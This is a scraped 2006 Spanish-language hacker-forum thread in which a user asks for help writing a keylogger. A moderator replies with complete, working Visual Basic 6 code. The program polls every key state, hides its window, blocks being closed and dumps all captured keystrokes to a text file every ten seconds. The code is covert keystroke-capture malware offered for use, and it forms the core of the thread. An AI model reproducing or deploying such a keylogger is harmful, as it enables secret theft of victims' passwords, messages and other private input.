hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
06 de ſeptiembre de 2008, 09:16:02
Noticias: Reporte de temas
Para ver este enlace Registrate o Inicia Sesion
> Aqui

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  Visual Basic (Moderadores: ranefi, crypto136, ziBboh, >> s E t H <<)
| | | |-+  Ayuda con KeyLogger
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Ayuda con KeyLogger  (Leído 882 veces)
clipto boxw
NZ3
***
Desconectado Desconectado

Mensajes: 561


CBX


Ver Perfil WWW
« : 26 de Abril de 2006, 04:44:36 »

bueno como saben este es mi primer post en este subforo....bue no lo que pasa es uno programa una aplicacion en visual y pone a que ag algo cuando se pulse determinda tecla pero lo que yo quiero es hacer es como la funcion del keylogger que guarde todas las teclas o pulsaciones que se agan en todo el sistema pero no tengo ni ifea de como hacerlo osea que tome las pulsaciones del sistema... Undecided

 ayudenme
« Última modificación: 04 de Mayo de 2006, 03:30:45 por ranefi » En línea

HACKERSLIBRES. ES
porque negar la ayuda a alguien o esque acaso tu nunca la has necesitado. el proposito de esto es que todos sepamos ya que la informacion es libre y para todos. si no lo crees asi eres un estupido
ranefi
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,193


SELECT * FROM guapos WHERE papito_chulo = 'ranefi'


Ver Perfil WWW
« Respuesta #1 : 26 de Abril de 2006, 05:42:30 »

Hola clipto boxw, buena noche. Me alegra que te hayas interesado en visitarnos, bienvenido. Aquí te dejo un mini Keylogger, sólo para que te des una idea de como puedes empezar.

Agregar 1 control TextBox y 3 Timer e insertar el siguiente código

Código:

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" _
    (ByVal vKey As Long) As Integer

Private Sub Form_Load()
    Timer1.Enabled = True
    Timer1.Interval = 1
   
    Timer2.Enabled = True
    Timer2.Interval = 10000

    Timer3.Enabled = True
    Timer3.Interval = 1
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Cancel = 1
End Sub

Private Sub Timer1_Timer()
    For i = 1 To 255
        result = 0
        result = GetAsyncKeyState(i)

        If result = -32767 Then
            Text1.Text = Text1.Text + Chr(i)
        End If
    Next i
   
    Me.Hide
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
    Dim Graba As String
   
    Graba = "C:\cochinada.txt"

    Open Graba For Binary Shared As #1
   
    Close #1
   
    Open Graba For Output Shared As #1
        Print #1, Text1.Text
        Print #1, Chr(13)
    Close #1
End Sub


Espero y esto resuelva todas tus dudas. Nos vemos.
« Última modificación: 18 de Enero de 2007, 04:10:27 por ranefi » En línea


SELECT * FROM mejores_batos_ del_mundo WHERE id = (SELECT DISTINCT id_guapo FROM los_mas_guapos _del_mundo WHERE papito_chulo = 'ranefi')
clipto boxw
NZ3
***
Desconectado Desconectado

Mensajes: 561


CBX


Ver Perfil WWW
« Respuesta #2 : 30 de Abril de 2006, 12:11:24 »

gracias ranefi por la informacion mucho antes de escribir este post leia bastante en este subforo y dejame desirte que te admiro por tus conocimientos de visual basic y sabia que podia contar con tigo ya que te gusta mucho esto... Grin
En línea

HACKERSLIBRES. ES
porque negar la ayuda a alguien o esque acaso tu nunca la has necesitado. el proposito de esto es que todos sepamos ya que la informacion es libre y para todos. si no lo crees asi eres un estupido
trader
NZ1
*
Desconectado Desconectado

Mensajes: 37

Member, pOrtal HAcker


Ver Perfil
« Respuesta #3 : 30 de Abril de 2006, 03:49:22 »

bueno mir ayo te recomiendo que antes de hacer un keylogger aprendas un poco de visual basic yo no soy un experto pero me deciendo yo te aconsejo que leas un poco antes de hacer uno.
En línea
ranefi
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,193


SELECT * FROM guapos WHERE papito_chulo = 'ranefi'


Ver Perfil WWW
« Respuesta #4 : 02 de Mayo de 2006, 06:59:42 »

Cita de: clipto boxw
gracias ranefi por la informacion mucho antes de escribir este post leia bastante en este subforo y dejame desirte que te admiro por tus conocimientos de visual basic y sabia que podia contar con tigo ya que te gusta mucho esto...

    ¡Muchas gracias! Se hace lo que se puede, jejejeje.


Cita de: trader
bueno mir ayo te recomiendo que antes de hacer un keylogger aprendas un poco de visual basic yo no soy un experto pero me deciendo yo te aconsejo que leas un poco antes de hacer uno.

Buen consejo, algunas veces hay que llevar un orden en las cosas, pero también es bueno saber más, gracias por opinar.


PD: El tema será cerrado, si desean desbloquearlo envíen un MP.
En línea


SELECT * FROM mejores_batos_ del_mundo WHERE id = (SELECT DISTINCT id_guapo FROM los_mas_guapos _del_mundo WHERE papito_chulo = 'ranefi')
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online